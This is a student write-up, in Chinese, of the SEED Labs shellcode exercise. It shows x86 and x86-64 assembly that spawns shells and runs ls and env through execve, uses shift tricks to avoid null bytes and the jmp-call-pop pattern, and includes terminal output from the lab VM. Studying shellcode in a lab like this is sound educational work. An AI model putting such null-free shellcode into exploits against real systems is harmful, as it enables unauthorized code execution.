

实验过程

Task1

1.a mysh

首先对已有的代码文件mysh.s进行编译链接：

```
# Compiling to object code.
nasm -f elf32 mysh.s -o mysh.o
# Linking to generate final binary.
ld -m elf_i386 mysh.o -o mysh
```

获取到可执行二进制文件mysh后，mysh执行，可以得到一个shell，执行echo \$\$打印当前shell的进程ID

```
[10/27/22]seed@VM:~/.../Labsetup$ nasm -f elf32 mysh.s -o mysh.o
[10/27/22]seed@VM:~/.../Labsetup$ ls
convert.py  Makefile  mysh2.s  mysh_64.s  mysh.o  mysh.s
[10/27/22]seed@VM:~/.../Labsetup$ ld -m elf_i386 mysh.o -o mysh
[10/27/22]seed@VM:~/.../Labsetup$ mysh
$ echo $$
967636
$ exit
[10/27/22]seed@VM:~/.../Labsetup$ █
```

利用objdump从mysh.o中获取汇编代码：

```
objdump -Mintel --disassemble mysh.o
```


1. 参数0-eax寄存器, `xor eax, eax`对相同值逐位异或得到全零的eax寄存器。
2. 参数1-ebx寄存器, 保存命令字符串`bin/bash`的地址, 借用eax构造字符串终止符`0x00`。
3. eax寄存器, 保存11(execve的系统调用号)。直接赋值`mov eax 0x0000000b`(32位)会出现截止符, 通过以下两个步骤
 - a. `xor eax, eax`: eax清零;
 - b. `mov al, 0x0b`: 将8位数据`0x0b`传递到AL(eax的低8位)
4. edx寄存器, 保存想传给新程序的环境变量地址, 通过`xor edx, edx`使得edx=0.

task: 不通过增加斜杠/的方法获取shell(多个斜杠在系统处理中被理解为1个, push必须接32位的数)。我们选择#作为填充字符, 然后通过移位的方式得到0。代码修改:

```
xor eax, eax      ;eax异或清零
mov eax, "h###"   ;eax=23232368
shl eax, 24       ;左移24位, eax=68000000
shr eax, 24       ;右移24位eax=00000068=h\0
push eax
push "/bas"
push "/bin"
mov ebx, esp      ; Get the string address
xor eax, eax      ;eax异或清零作为参数argv[1]
```

编译执行, 获得shell:

```
[10/27/22]seed@VM:~/.../Labsetup$ echo $$
967102
[10/27/22]seed@VM:~/.../Labsetup$ nasm -f elf32 1b.s -o 1b.o
[10/27/22]seed@VM:~/.../Labsetup$ ld -m elf_i386 1b.o -o 1b
[10/27/22]seed@VM:~/.../Labsetup$ 1b
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

[10/27/22]seed@VM:~/.../Labsetup$ sudo ./1b
root@VM:/home/seed/Desktop/share/Labsetup# echo $$
968255
root@VM:/home/seed/Desktop/share/Labsetup# exit
exit
[10/27/22]seed@VM:~/.../Labsetup$ exit
exit
```

虽然提示说要root权限, 但是根据颜色的变化能看出来其实已经新开启了一个shell。

1.c 添加参数

思路与1.b类似，对参数进行拆分，需要0x00截止符的时候就通过移位或者补充斜杠来获得。获取参数地址：

```
; Store the argument string on stack
xor  eax, eax
mov  eax, "la##"
shl  eax, 16
shr  eax, 16
push eax
push "ls -"
mov  edx, esp      ; get addr of "ls -la"

xor  eax, eax
mov  eax, "-c##"
shl  eax, 16
shr  eax, 16
push eax
mov  ecx, esp      ; get addr of "-c"

xor  eax, eax
push eax           ; Use 0 to terminate the string
push "//sh"
push "/bin"
mov  ebx, esp      ; get addr of "/bin/sh"

xor  eax, eax      ; 清零作为最后一个参数
```

然后将参数逆序压栈，编译执行结果如下：成功执行 `ls -la`

```
[10/27/22]seed@VM:~/.../Labsetup$ nasm -f elf32 lc.s -o lc.o
[10/27/22]seed@VM:~/.../Labsetup$ ld -m elf_i386 lc.o -o lc
[10/27/22]seed@VM:~/.../Labsetup$ lc
total 45
drwxrwxrwx 1 root root 4096 Oct 27 10:26 .
drwxrwxrwx 1 root root 4096 Oct 26 09:39 ..
-rwxrwxrwx 1 root root 4512 Oct 27 09:54 1b
-rwxrwxrwx 1 root root 448 Oct 27 09:54 1b.o
-rwxrwxrwx 1 root root 676 Oct 27 09:43 1b.s
-rwxrwxrwx 1 root root 4540 Oct 27 10:26 1c
-rwxrwxrwx 1 root root 480 Oct 27 10:26 1c.o
-rwxrwxrwx 1 root root 1117 Oct 27 10:25 1c.s
-rwxrwxrwx 1 root root 294 Dec 27 2020 Makefile
-rwxrwxrwx 1 root root 1314 Oct 27 07:11 convert.py
-rwxrwxrwx 1 root root 4504 Oct 27 06:54 mysh
-rwxrwxrwx 1 root root 432 Oct 27 06:51 mysh.o
-rwxrwxrwx 1 root root 642 Oct 27 06:50 mysh.s
-rwxrwxrwx 1 root root 266 Dec 5 2020 mysh2.s
-rwxrwxrwx 1 root root 378 Dec 5 2020 mysh_64.s
[10/27/22]seed@VM:~/.../Labsetup$
```

1.d 传环境变量

字符串的构造与上文类似，移位构造截止符。环境变量的数组构造部分

```
; For environment variable
push eax      ; env[3]=0
push edx      ; env[2]="cccc=1234"
push ecx      ; env[1]="bbb=5678"
push ebx      ; env[0]="aaa=1234"
mov edx, esp; 得到环境变量数组的地址
```

然后把 `execve` 的第一个参数改为 `/usr/bin/env`，编译执行，输出了三个变量

```
[10/27/22]seed@VM:~/.../Labsetup$ nasm -f elf32 ld.s -o ld.o
[10/27/22]seed@VM:~/.../Labsetup$ ld -m elf_i386 ld.o -o ld
[10/27/22]seed@VM:~/.../Labsetup$ ld
aaa=1234
bbb=5678
cccc=1234
[10/27/22]seed@VM:~/.../Labsetup$
```

Task2

代码解释

```
one:
    pop ebx      ; 将栈中最顶层的值弹出装入ebx中
    xor eax, eax ; eax异或清零
    mov [ebx+7], al ; 将al的值装入ebx的值加上7所指向的地址中
    mov [ebx+8], ebx ; 将ebx的值装入ebx的值加上8所指向的地址中
    mov [ebx+12], eax ; 将eax的值装入ebx的值加上12的所指向的地址中
    lea ecx, [ebx+8] ; 使得ecx=ebx+8的地址
    xor edx, edx ; edx异或清零
    mov al, 0x0b ; 给al赋值0x0b
    int 0x80      ; 中断, 为该程序实现系统调用

two:
    call one      ; call将函数one压入栈中, 再跳转到函数one
    db '/bin/sh*AAAABBBB' ; 存储字符串, 调用函数时会压入栈作为返回地址
```

1. 程序先 `jmp short two` 开始执行two函数, 进入two后又调用了one
2. call调用的下一条语句是存储了一个字符串, 调用函数时会将下一条语句的地址压入栈作为返回地址, 因此字符串的地址被压入栈;
3. 到了one函数中, 调用了pop把栈顶(字符串的地址)取出并放入了ebx中, 这样就获取到了字符串的地址;
4. 后面内容与mysh.s类似, 将字符串中的*占位符和参数1用0覆盖, 将ecx指向参数地址, 为eax赋值11(execve的调用值)。

修改代码

修改代码输出环境变量:

```
one:
    pop ebx
    xor eax, eax
    mov [ebx+12], eax
    mov [ebx+20], eax
    mov [ebx+28], eax ; 将*占位符都改为00截止符

    lea ecx, [ebx+16]
    mov [ebx+32], ecx ; addr of env[0]="a=11\0"
    lea ecx, [ebx+24]
```



```

mov [ebx+36], ecx ; addr of env[1]="b=22\0"
mov [ebx+40], eax ; env[2]=0
lea edx, [ebx+32] ; 获得env[]的地址, 存在edx中

mov [ebx+44], ebx ; addr of argv[0]="/usr/bin/env\0"
mov [ebx+48], eax ; argv[1]=0
lea ecx, [ebx+44] ; 获得argv[]的地址, 存在ecx中

mov al, 0x0b
int 0x80
two:
call one
db '/usr/bin/env****'
db 'a=11****'
db 'b=22****'
db 'AAAA'
db 'BBBB'
db 'CCCC'
db 'DDDD'
db 'EEEE'

```

重难点：对**lea**和**mov**的理解；数组在内存中的存储情况。

```

[10/28/22] seed@VM:~/.../Labsetup$ nasm -f elf32 2.s -o 2.o
[10/28/22] seed@VM:~/.../Labsetup$ ld --omagic -m elf_i386 2.o -o 2
[10/28/22] seed@VM:~/.../Labsetup$ 2
a=11
b=22
[10/28/22] seed@VM:~/.../Labsetup$ █

```

Task3

仿照Task1.b实现64位的shellcode编写，即利用移位获取0x00.主要修改如下：

```

mov rax, "h#####"
shl rax, 56
shr rax, 56
push rax
mov rax, "/bin/bas"
push rax

```

```
[10/28/22]seed@VM:~/.../Labsetup$ nasm -f elf64 3.s -o 3.o
3.s:8: error: comma, colon, decorator or end of line expected after operand
[10/28/22]seed@VM:~/.../Labsetup$ nasm -f elf64 3.s -o 3.o
[10/28/22]seed@VM:~/.../Labsetup$ ld 3.o -o 3
[10/28/22]seed@VM:~/.../Labsetup$ 3
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

[10/28/22]seed@VM:~/.../Labsetup$ sudo ./3
root@VM:/home/seed/Desktop/share/Labsetup# echo $$
969320
root@VM:/home/seed/Desktop/share/Labsetup# exit
exit
[10/28/22]seed@VM:~/.../Labsetup$ exit
exit
[10/28/22]seed@VM:~/.../Labsetup$
```

总结

Task用到的一些方法:

- 异或清零, 并通过 `al`, `ax`, `eax`, `rax` 获取8位, 16位, 32位, 64位的零;
- 移位: 在字符串末尾填充一定数量的字符, 并通过逻辑移位获得末尾的0;
- 先通过占位符传入一定长度的字符串, 获取到字符串首地址后可以根据偏移量对其他位置进行操作。

参考

<http://note.blueegg.net.cn/seed-labs/overflow/shellcode/>

https://blog.csdn.net/qq_45755706/article/details/123206778

<https://blog.csdn.net/day0713/article/details/123172070>